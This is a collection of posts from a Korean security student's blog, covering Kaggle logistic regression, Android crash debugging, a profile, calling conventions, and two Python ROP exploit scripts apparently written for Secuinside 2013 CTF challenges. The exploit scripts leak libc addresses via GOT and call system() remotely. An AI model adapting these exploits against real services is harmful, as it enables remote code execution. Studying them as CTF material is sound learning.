학교 머신러닝 수업때문에 kaggle competition(http://kaggle.com)을 하는데, 

생각보다 재밌어서 수업 끝나고도 틈틈히 할것같다.

우선 다 끝난 competition들로 공부좀 하고, active competition을 해보면 재밌을듯하다


모델은 Logistic regression을 사용하였고, feature선택은 greedy selection을 사용하였다.

(내 아이디어는 아니고, 포럼에서 메인으로 언급되는 아이디어)

logistical regression에 대한 설명은 많은것 같아서 따로 안하고, 실제로 어떻게 사용했는지만 써놔야겠다.

python의 scikit-learn (sklearn)을 사용하여, 코딩하였다.


지금은 이미 종료된 competition인 employee access challenge를 대상으로 연습해보았다.

이 대회가 데이터 분석은 전혀 필요없고 (하고 싶어도 할 수가 없다.)

오로지 머신러닝 테크닉만 이용해도 좋은 성적을 낼 수 있는 대회인것 같다.


이 competition은, employee들의 Manager ID와 Role에 관련된 여러가지 값들이 주어지고, 

그 employee가 특정 resource에 접근을 요청했을때, 접근을 허용할지 안할지를 판단하는 내용이다.


> 특이사항


이 challenge에서 data의 특이사항은 다음과 같다.


  

  1. action의 값은 0(not approved)와 1(approved)이긴 하지만, 실제 제출할때는 꼭 0과 1이어하는것은 아니다.

  2. 각 column은 어느 '정도'를 나타내는 특성들이 아니다. 단지, 다른 row들과 구분만 가능한 값이다.

 


1. action의 값은 0(not approved)와 1(approved)이긴 하지만, 실제 제출할때는 꼭 0과 1이어하는것은 아니다.


이 말이 무슨 뜻이냐면, 이 competition에서는 AUC로 rank를 매긴다.

근데, 여기서의 AUC는 accuracy가 아니다.

실제 데이터에서 action 1이 94%정도를 차지하고 있기때문에, 

단순한 정확도를 사용하게되면, 전부 1만 써 넣어도 정확도가 94%가 되어버린다.

그래서 이 competition에서는 ROC AUC(Area under curve)를 사용한다.

사실, ROC AUC에 대해서 정확히 공부하지는 않아서, 완벽한 의미는 모르지만.

대충 이야기해보자면, 

True Positive Rate와 False Positive Rate를 이용하여, 그래프를 그리고, 그 그래프의 넓이가 점수가 된다.

그리고, ROC AUC를 측정할 때는 '순서'가 중요하다. 확률이 높은것부터, 높은 값을 주면 된다.

그래서, 제출할때 꼭 0 ~ 1 사이의 값을 넣지 않아도 상관 없다. 

그저 확실히 1이라고 생각되는것부터 높은값을 준 후, 제출하면 된다.

(단순히, 확률을 넣어서 제출하는게 편하다)


2. 각 column은 어느 '정도'를 나타내는 특성들이 아니다. 단지, 다른 row들과 구분만 가능한 값이다.


data를 받아서 보면 알겠지만, 모든 값들이 숫자로 주어져있다.

그리고, 그 숫자가 높은 등급을 의미하는것도 아니다.

예를 들어, ROLE_TITLE의 값들이 원래 의미하는 것들은, CEO, Engineer, Marketer 등을 의미하겠지만, 

이 대회에서는 데이터 값이 1,2,3 과 같이 숫자가 적혀있다. (CEO가 1인지 2인지 3인지 알수없다.)

그래서, Logistical regression에서는 각 컬럼을 곧바로 feature로 사용할 수가 없다. 

왜냐하면......

LR은 각 feature가 연속성이 있는 값이라고 생각하고 만들어져 있는 모델이기 때문이다.

(여기서의 연속성은, continuous, discrete와 같은 것이 아니고, 숫자 높낮이의 의미가 있냐 없냐 이다.)



> Feature Selection


feature의 선택은 다음과 같다.


 

  1. 중복되는 column을 제거한다.

  2. column을 grouping하여, 확장한다.

  3. 각 column을 one hot encoding하여 binary로 변환한다.

  4. greedy로 feature를 선택한다.



1. 중복되는 column을 제거한다.


우선, 값이 중복되는 컬럼을 제거한다.

반드시 제거해야 하는것은 아니지만, 괜히 분석시간만 늘어나기 때문에..

그래서, TITLE과 겹치는 ROLE_CODE를 제거하였다.


2. column을 grouping하여, 확장한다.


grouping을 한다는게, 무슨 말이냐면

기존의 컬럼을 0,1,2,3,4,5,... 라고 한다면, 그냥 기존의 컬럼만 사용하면, 너무 독립적이게 된다.

예를 들어, 정답함수가 '0번 컬럼이 10이고, 1번 컬럼이 5일때, 정답은 1이다.' 라면,

0번이 ~~이고, 1번이 ~~일때, 라는 'and' 연산을 캐치할 수가 없다.

이런 연산을 캐치하기 위해서는, and연산을 한 컬럼을 아예 새로 만들어줘야 한다.

그래서, 기존의 0,1,2,3,... 의 컬럼과 더불어, (0과 1), (0과 2), (0과 3), ..., (1과 2), (1과 3), ...., (0과 1과 2), ..., (0과 1과 2와 3), ...

이런 컬럼들을 추가로 만들어주고, 그 컬럼의 값은 각 컬럼들에 있는 값들의 해시값으로 하면 된다.

그래서 grouping을 하면 할수록, 저런 and연산이 들어간 함수들을 더 잘 캐치할 수 있고, 정확도가 올라간다.

(물론, 속도는 점점 느려진다)


3. 각 column을 one hot encoding하여 binary로 변환한다.


아까 이야기한 특이사항 2번을 해결하기 위해서 각 피쳐들을 binary 포맷으로 바꿔야 한다. 

(이걸 forum에서는 One Hot Encoding 이라고 부르던데, 공식 명칭인지는 잘 모르겠다.)

예를 들어,


 

Column1 

 1

1234

 2

2345

 3

3456


이것이 기존의 컬럼이라면,



 

 1234

2345 

3456 

 1

 1

0

0

 2

 0

1

0

 3

 0

0

1


이렇게 변환하고, Column1대신 1234, 2345, 3456을 feature로 준다.

이렇게 변환함으로써, Logistic regression의 feature로 사용 가능하다.



4. greedy로 feature를 선택한다.


grouping으로 확장된 컬럼들을, 하나씩 넣어보면서 가장 높은 AUC가 나오는 컬럼을 선택해서, list에 포함한다.

포함 하고 나면, 다시 처음으로 돌아가서 모아둔 list에 또 컬럼들을 하나씩 더 추가해보면서, 가장 높은 AUC를 찾는다.

이 과정을 반복하여, 최종 feature들의 set를 뽑아낸다.



이렇게 하면 최종적으로 logistic regression만을 사용해서, 0.89 이상이 나온다.

포럼을 살펴보면 알겠지만, 여기까지는 거의 기본적인 점수이고, 여기서 조금조금씩 끌어 올려야 한다.

logistic regression 만으로 0.91까지 올린 사람들도 있는듯 하다.

그 외에 boosting (여러 모델들을 합쳐서)을 하여, 점수를 올릴수도 있으며, 1위도 이 방법을 사용하였다.


아래의 링크를 따라가면 샘플코드가 있다.


참고: http://kaggle.com/c/amazon-employee-access-challenge/forums/t/5258/how-i-modified-miroslaw-s-code


'Computer Engineering > Machine Learning' 카테고리의 다른 글

[Kaggle] Employee Access Challenge  (0) 2014.02.11
posted by tunz

시간이 없으니 글은 나중에 차차 다듬기로

(+ 다듬고 올리려고 했는데, 다시 건드릴 일이 없을것 같아서 그냥 비공개만 품...... / 쓰다 만 부분은 다른곳에서 찾으시길... )


안드로이드 4.1.2 버전에서 크래시가 났을경우, 어느부분에서 났는지 찾는 과정을 적어보았다.

(사실, 크래시가 난곳에서 동적분석도 하고싶은데, 그것까진 실패했다. 아마 심볼때문에 그런듯 해서, 안드로이드 full 컴파일을 하고 그 라이브러리들을 안드로이드에 올리면 될수도 있지만, 시간이 너무 오래걸려서 그러진 않았다)


그리고, 사실 이 방법이 가장 효율적인지는 모르겠다.

근데, 아는방법이 이것밖에 없으니...


환경: 우분투 13.04 64bit, 갤럭시노트2(루팅)


1. 안드로이드 기본 소스 다운로드.


$ sudo add-apt-repository "deb http://archive.ubuntu.com/ubuntu hardy main multiverse"

$ sudo add-apt-repository "deb http://archive.ubuntu.com/ubuntu hardy-updates main"

$ sudo apt-get update

$ sudo apt-get install sun-java6-jdk

$ sudo apt-get install python

$ sudo apt-get install git-core


$ wget http://dl.google.com/android/android-sdk_r22.0.5-linux.tgz

$ tar xzvf android-sdk_r22.0.5-linux.tgz 

$ mv android-sdk-linux android-sdk

$ export PATH=${PATH}:~/android-sdk/tools

$ export PATH=${PATH}:~/android-sdk/platform-tools

$ export PATH=${PATH}:~/bin

$ PATH="$HOME/android-sdk/tools:$HOME/android-sdk/platform-tools:$PATH"

$ android

Tools 전부 설치 (gui에서 해야한다.)


$ sudo apt-get install git-core gnupg flex bison gperf build-essential zip curl libc6-dev libncurses5-dev:i386 x11proto-core-dev libx11-dev:i386 libreadline6-dev:i386 libglapi-mesa:i386 libgl1-mesa-glx:i386 libgl1-mesa-dev g++-multilib mingw32 openjdk-6-jdk tofrodos python-markdown libxml2-utils xsltproc zlib1g-dev:i386

$ sudo ln -s /usr/lib/i386-linux-gnu/mesa/libGL.so.1 /usr/lib/i386-linux-gnu/libGL.so


$ sudo vi /etc/udev/rules.d/51-android.rules

SUBSYSTEM=="usb", ATTR{idVendor}=="04e8", MODE="0666"

( 갤노트라서 이렇게 했고, 각 폰 별로 lsusb를 통해 idVendor를 볼수있다. )


$ sudo chmod a+r /etc/udev/rules.d/51-android.rules


$ mkdir ~/bin

$ PATH=~/bin:$PATH

$ curl https://dl-ssl.google.com/dl/googlesource/git-repo/repo > ~/bin/repo

$ chmod a+x ~/bin/repo


$ sudo vi /etc/hosts

아래 내용 추가

# Google

74.125.128.82 google.com source.android.com android.googlesource.com

74.125.128.99 google.com source.android.com android.googlesource.com

74.125.128.139 google.com source.android.com android.googlesource.com


# github

207.97.227.239 github.com wiki.github.com gist.github.com assets0.github.com assets1.github.com assets2.github.com assets3.github.com



$ mkdir android

$ cd android

$ repo init -u https://android.googlesource.com/platform/manifest -b android-4.1.1_r2

$ repo sync


안드로이드 다운로드가 시작되는데, 시간이 엄청 오래 걸린다.



2. 각 제조사에서 안드로이드 소스 다운로드

안드로이드는 오픈소스이기때문에, 각 핸드폰별로 안드로이드 소스를 공개하도록 되어있다.
(그렇다고 모든 기능이 추가된채로 오픈되는것은 아니다.)
삼성의 경우 http://opensource.samsung.com/ 에서 받을수 있다.

3. 안드로이드 소스에 적용.

다운받은 소스의 external 폴더를 기존 android 폴더에 덮어쓴다.

4. 디버그 심볼 설정.

기본적으로 strip되서 라이브러리르 만들기때문에, 심볼 설정을 해줘야한다.
build/buildspec.mk.default 를 안드로이드 폴더에 buildspec.mk로 복사한후,

DEBUG_MODULE_libwebcore:=true
DEBUG_MODULE_libxml2:=true
TARGET_CUSTOM_DEBUG_CFLAGS:=-O0 -mlong-calls
ADDITIONAL_BUILD_PROPERTIES += debug.db.uid=100000

를 추가해준다.

그리고
external/webkit/Android.mk 에
LOCAL_PRELINK_MODULE := false
에 주석이 있다면 해제한다.

(이부분은 http://haejung.egloos.com/1160033 분의 블로그 참고)

5. 빌드

$ make clean-libwebcore
$ make clean-libxml2
$ make libwebcore
$ make libxml2
$ make linker

첫번째 빌드라서 시간이 오래 걸린다.

6. 스크립트 

항상 "빌드 -> adb push -> remount /system -> cp" 를 반복해야 한다.

그러므로, 귀찮으니까 쉘 스크립트로 세팅해두자.


makepush.sh , command 라는 파일을 우분투에 만들어두었다.


우선 adb devices로 안드로이드가 연결이 되어있는지 확인하고,


http://pastebin.com/LbnfhdgD

  1. #/bin/sh
  2.  
  3. make libwebcore
  4. adb push out/target/product/generic/system/lib/libwebcore.so /data/local/tmp/libwebcore.so
  5. adb shell < command

makepush.sh 를 만들고

$ chmod 777 makepush.sh


command 도 만들어야하는데, 그 전에


adb shell

su 


로 안드로이드 루트로 접속한다.

그리고

root@android:/ # mount | grep /system

/dev/block/mmcblk0p13 /system ext4 rw,relatime,barrier=1,data=ordered 0 0

로, 나온 /dev/block/mmcblk0p13를 기억해둔다.


그리고 이제 command를 만드는데, 빨간 부분을 위에서 얻은 값으로 고쳐준다.

su

mount -o rw,remount /dev/block/mmcblk0p13 /system

cp /data/local/tmp/libwebcore.so /system/lib/libwebcore.so

exit

exit 


그러면 이제 앞으로, 소스를 수정하면 저 모든 과정을 다 할필요없이

./makepush.sh

만 쳐주면 된다.


7. 디버깅 준비.


$ adb shell setprop debug.db.uid 100000

이렇게 해두어야, 크래시가 났을때 멈춘다.


그리고 gdbserver를 안드로이드로 push 해둔다.


8. 크래시


$ adb shell logcat *:d

디버깅 메세지를 항상 확인하고,

크래시를 일으킨다.


그러면 그 메세지가 로그캣에 모두 보인다.




어느 소스의 몇번째 줄에서 크래시 되었는지가 나온다.


posted by tunz

Profile

Profile 2013. 12. 2. 13:50

이름(Name) : 한충우 (Choongwoo Han)

닉네임(Nickname): tunz

B.S.: Computer Science and Engineering, Technology Management, in UNIST'15

Interests: Software Security, Software Testing, Program Analysis, Web Security

Mail: cwhan.tunz |at| gmail.com

소속:

KAIST SoftWare Testing & Verification (SWTV) Group (2015 ~)

CodeRed(2013 ~ )

UNIST Computer Security Club, HeXA (2011 ~ 2014)

UNIST Mobile Smart Networking (MSN) Lab (2012 ~ 2014)

Best Of the Best (BOB) 2기 (2013 ~ 2013)

 

Vulnerability Reports

- 2015 Remote Code Execution on GitHub for Mac ($2,500)

- 2015 XSS on GitHub ($1,000)

- 2015 XSS on Dropbox ($1,331).

- 2014 Remote Code Execution on Dr.Soft Netclient5 Patch Management System (KISA 14-084).

- 2014 Remote Code Execution on UNIST portal web site.

- 2013 SQL Injection and Break password encryption on UNIST portal web site.

- 2013 SQL Injection on UNIST web mail.

- 2012 Remote Code Execution on UNIST attendance checking devices.


Awards

- 2014 HDCON, 5th place (Silver Prize) (CodeC) (₩2,000,000)

- 2014 Incognito CTF, 2nd place (CodeRed) (₩640,000)

- 2014 DEF CON, Final round (CodeRed)

- 2013 HolyShield, 1st place (CodePink) (₩1,000,000)

- 2013 Korea White hat Contest (Team) 3rd place(우수상) (HeXA) (₩8,000,000) 


Talks

- 2015 Naver D2 campus seminar - 개발자가 꼭 알아야 할 보안 이야기


* If you have anything to ask, please send me an email.

'Profile' 카테고리의 다른 글

Profile  (3) 2013.12.02
posted by tunz

ubuntu 13.10에서 재현



  1. from socket import *
  2. from struct import *
  3. import time
  4.  
  5. = socket(AF_INET,SOCK_STREAM)
  6. s.connect(('localhost', 7744))
  7.  
  8. leaveret = 0x8048a68
  9. recv_plt = 0x8048770
  10. send_plt = 0x8048790
  11. bss = 0x804b080
  12. fake_ebp = bss+0x50
  13. send_got = 0x804b070
  14. ppppr = 0x804906c
  15.  
  16. cmd = "id>&4\x00"
  17.  
  18. payload = "1;"+"\x00"*(0x66c + 4 - 2)
  19. payload += pack('<L', send_plt)
  20. payload += pack('<L', ppppr)
  21. payload += pack('<L', 4)
  22. payload += pack('<L', send_got)
  23. payload += pack('<L', 4)
  24. payload += pack('<L', 0)
  25.  
  26. payload += pack('<L', recv_plt)
  27. payload += pack('<L', ppppr)
  28. payload += pack('<L', 4)
  29. payload += pack('<L', send_got)
  30. payload += pack('<L', 4)
  31. payload += pack('<L', 0)
  32.  
  33. payload += pack('<L', recv_plt)
  34. payload += pack('<L', ppppr)
  35. payload += pack('<L', 4)
  36. payload += pack('<L', bss)
  37. payload += pack('<L', len(cmd))
  38. payload += pack('<L', 0)
  39.  
  40. payload += pack('<L', send_plt)
  41. payload += "AAAA"
  42. payload += pack('<L', bss)
  43.  
  44. time.sleep(0.5)
  45. print s.recv(1024)
  46. s.send("4\n")
  47. time.sleep(0.5)
  48. print s.recv(1024)
  49.  
  50. raw_input('go?')
  51.  
  52. s.send(";"*0x38 + pack('<L',len(payload)))
  53. time.sleep(1)
  54. print s.recv(1024)
  55. s.send(payload)
  56. time.sleep(1)
  57. #print s.recv(5)
  58.  
  59. #time.sleep(1)
  60. send_addr = unpack('<L',s.recv(4))[0]
  61. system_addr = send_addr - 0xf3940 + 0x41260
  62.  
  63. print "System: "+hex(system_addr)
  64.  
  65. s.send(pack('<L',system_addr))
  66. s.send(cmd)
  67.  
  68. time.sleep(0.1)
  69. print s.recv(1024)
  70.  
  71. s.close()


posted by tunz
  • hea 2013.11.28 23:35

    안녕하세요 저도 요근래 ROP공부를 하고 있는데 offset계산해서 add가젯 같은거 사용하는 개념까진 알겠는데 리모트 익스플로잇할때 recv send 같은걸 어떻게 사용해주는지 잘 모르겠더라구요.. 혹시 관련 좋은 문서 있을까요?

    • tunz 2013.11.29 01:58 신고

      음... 저도 딱히 문서 하나만 보고 공부한게 아니라서,
      GOT랑 plt가 정확히 뭔지만 아는 상태로, 간단한 CTF exploit 하나 분석하시면 딱 느낌이 오실거에요

우분투 12.04에서 재현


  1. from socket import *
  2. from struct import *
  3. import time
  4.  
  5. fputs_plt = 0x8048800
  6. fputs_got = 0x804B064
  7. recv_plt = 0x8048810
  8. send_plt = 0x8048830
  9. ppppr = 0x80499FC
  10. bss = 0x804c0dc
  11.  
  12. cmd = "id>&4\x00"
  13.  
  14. i=0
  15. while True:
  16.         print "Send! %d" % i
  17.         i += 1
  18.         s = socket(AF_INET, SOCK_STREAM)
  19.  
  20.         s.connect(('localhost',8080))
  21.  
  22.         time.sleep(0.3)
  23.         print s.recv(10000)
  24.  
  25.         #raw_input('go?')
  26.  
  27.         vmcode = ""
  28.  
  29.         # auth 2
  30.         vmcode += "#\x00\x00\x00\x00"*1024 # index + 4*
  31.         vmcode += ("P\x10"+"$\x08")*8 # get secret
  32.         vmcode += "P\x10"
  33.         vmcode += "9R"
  34.  
  35.         # auth 3
  36.         vmcode += "\x91"
  37.         vmcode += pack('<L',0xdeadbeef)*2
  38.  
  39.         # overflow
  40.         vmcode += "\xef"
  41.  
  42.         vmcode += "A"*0x20
  43.  
  44.         # ROP
  45.         vmcode += pack('<L',send_plt)
  46.         vmcode += pack('<L',ppppr)
  47.         vmcode += pack('<L',4)
  48.         vmcode += pack('<L',fputs_got)
  49.         vmcode += pack('<L',4)
  50.         vmcode += pack('<L',0)
  51.  
  52.         vmcode += pack('<L',recv_plt)
  53.         vmcode += pack('<L',ppppr)
  54.         vmcode += pack('<L',4)
  55.         vmcode += pack('<L',fputs_got)
  56.         vmcode += pack('<L',4)
  57.         vmcode += pack('<L',0)
  58.  
  59.         vmcode += pack('<L',recv_plt)
  60.         vmcode += pack('<L',ppppr)
  61.         vmcode += pack('<L',4)
  62.         vmcode += pack('<L',bss)
  63.         vmcode += pack('<L',len(cmd))
  64.         vmcode += pack('<L',0)
  65.  
  66.         vmcode += pack('<L',fputs_plt)
  67.         vmcode += "AAAA"
  68.         vmcode += pack('<L',bss)
  69.  
  70.         s.send(vmcode + " "*(0x400*6 - len(vmcode)))
  71.  
  72.         try:
  73.                 fputs_addr = unpack('<L',s.recv(4))[0]
  74.         except:
  75.                 continue
  76.         system_addr = fputs_addr - 0x66100 + 0x3f430
  77.         print "System: "+hex(system_addr)
  78.  
  79.         s.send(pack('<L',system_addr))
  80.  
  81.         s.send(cmd)
  82.  
  83.         out = s.recv(65000)
  84.         if "uid" in out:
  85.                 print out
  86.                 break
  87.  
  88.         s.close()


posted by tunz
  • xeros 2014.02.06 18:37

    secuinside 2013 두문제 파일좀 올려주시면 감사하겠습니다ㅎ

  • xeros 2014.02.09 19:48

    어.. 거기에 있었네요.. 맨밑에 잇어서 못알아차린거 같네요.. 감사합니다

  1. import os
  2. import sys
  3.  
  4. if os.getuid() != 0:
  5.         print "[-] You are not root"
  6.         sys.exit(-1)
  7.  
  8. if len(sys.argv) < 2:
  9.         print "python attach.py [binary name] [script]"
  10.  
  11. output = os.popen('ps aux | grep '+sys.argv[1]).read()
  12.  
  13. outputs = output.split('\n')
  14. lastline = ""
  15. i=len(outputs)-2
  16. while i>= 0:
  17.         try:
  18.                 pid = outputs[i].split(None)[1]
  19.         except:
  20.                 i -= 1
  21.                 continue
  22.         if int(pid) < os.getpid():
  23.                 lastline = outputs[i]
  24.                 break
  25.         i -= 1
  26.  
  27. pid = lastline.split(None)[1]
  28.  
  29. print "[*] Attach to "' '.join(lastline.split(None)[-2:]) +" ("+pid+")"
  30.  
  31. if len(sys.argv) == 3:
  32.         print "gdb -q --pid="+pid+" -x "+sys.argv[2]
  33.         os.system("gdb -q --pid="+pid+" -x "+sys.argv[2])
  34. else:
  35.         print "gdb -q --pid="+pid
  36.         os.system("gdb -q --pid="+pid)


http://pastebin.com/GbBk2ADG


fork 프로그램 디버깅할때 ps로 pid 찾아서 attach 하는게 귀찮아서 만듬.

python attach.py 프로그램명

으로 실행하면, 프로그램명중 pid가 가장 큰걸 자동으로 attach

(프로그램명은 꼭 풀로 안써도 됌, grep으로 잡기때문에)

'Computer Security > Other' 카테고리의 다른 글

afl-fuzz for javascript  (1) 2015.02.13
gdb automatic attach python script  (0) 2013.11.27
posted by tunz

r0 - first argument

r1 - second argument

r2 - third argument

r3 - fourth argument

[sp, #0] - fifth argument

[sp, #4] - 6-th argument

[sp, #8] - 7-th argument

[sp, #12] - 8-th argument


func(1,2,3,4,5,6,7,8)을 콜했을때의 objdump 내용:


000083e0 <main>:


    83e0:       b580            push    {r7, lr}

    83e2:       b084            sub     sp, #16

    83e4:       af04            add     r7, sp, #16

    83e6:       2305            movs    r3, #5

    83e8:       9300            str     r3, [sp, #0]

    83ea:       2306            movs    r3, #6

    83ec:       9301            str     r3, [sp, #4]

    83ee:       2307            movs    r3, #7

    83f0:       9302            str     r3, [sp, #8]

    83f2:       2308            movs    r3, #8

    83f4:       9303            str     r3, [sp, #12]

    83f6:       2001            movs    r0, #1

    83f8:       2102            movs    r1, #2

    83fa:       2203            movs    r2, #3

    83fc:       2304            movs    r3, #4

    83fe:       f7ff ffe1       bl      83c4 <func>

    8402:       4618            mov     r0, r3

    8404:       46bd            mov     sp, r7

    8406:       bd80            pop     {r7, pc}




posted by tunz

ARM 바이너리를 디버깅 하다보면, ARM(Code 32)와 Thumb(Code 16)모드가 동시에 존재한다.


Bx 명령어가 실행되면, 옵코드를 읽는 모드가 변경된다( ARM -> Thumb or Thumb -> ARM)


가끔, IDA가 이걸 캐치하지 못하고, ARM을 Thumb로, 혹은 Thumb를 ARM으로 읽으려 하는 상황이 생기는데,


그럴때는 ALT - G 를 누른후, 

T의 값을 1로 해주면, 해당코드는 Thumb로 읽게 되고,

T의 값을 0으로 해주면, ARM으로 읽게된다.

posted by tunz

gcc 기준, ELF 32bit에서는 (%esp),0x4(%esp), ... 에 넣어서 넘기는 방식인데,


ELF64에서는 레지스터에 넣어서 넘긴다.

아직도 헷갈린다.


rdi : 첫번째인자

rsi: 두번째인자

rdx: 세번째인자

rcx: 네번째인자

r8: 다섯번째인자

r9: 여섯번째인자

(%rsp): 일곱번째인자

0x8(%rsp): 여덟번째인자

.

.

.



posted by tunz
  • hea 2013.10.25 22:36

    안녕하세요 tunz님 요근래 linux 상에서의 heap exploitation쪽좀 공부해보려고 하는데
    윈도우쪽은 힙스프레이 힙풍수 uaf와 같은 문서들이 많던데 리눅스쪽은 별루 없더라구요..
    리눅스상에서의 힙공격 기법이 윈도우랑 비슷하나요? 그리고 리눅스 상에서의 heap exploitation 문서나 좋은 글 추천좀 해주시면 감사하겠습니다.

    • tunz 2013.10.29 15:35 신고

      이걸 저도 찾아보려고 했는데 잘 없더라구요..
      요즘에서야 안드로이드가 뜨면서 조금씩 나오고 있는것 같긴한데, 제가 못찾는건지 없네요.
      우선 힙스프레이는 리눅스도 똑같이 쓰이더군요. 물론 특정조건이 맞아야겟지만.
      그 외에 CTF용은 크기가 작아서 직접 해보면서 조정하는 편이구요. 리눅스 실전같은 경우는 잘 모르겠네요


whitehatcontest 보고서.pdf



그 외에 stalking은 DNS검색해서 나온 전화번호를 구글링하면 어떤 블로그가 나왔다고 하고,


포렌식은 그냥 atuopsy로 열면 바로 답이 나왔다.

posted by tunz
  • 2013.09.16 09:10

    비밀댓글입니다

  • carpedm20 2013.10.10 10:55

    이쁜건 좋은데 검색이 사라짐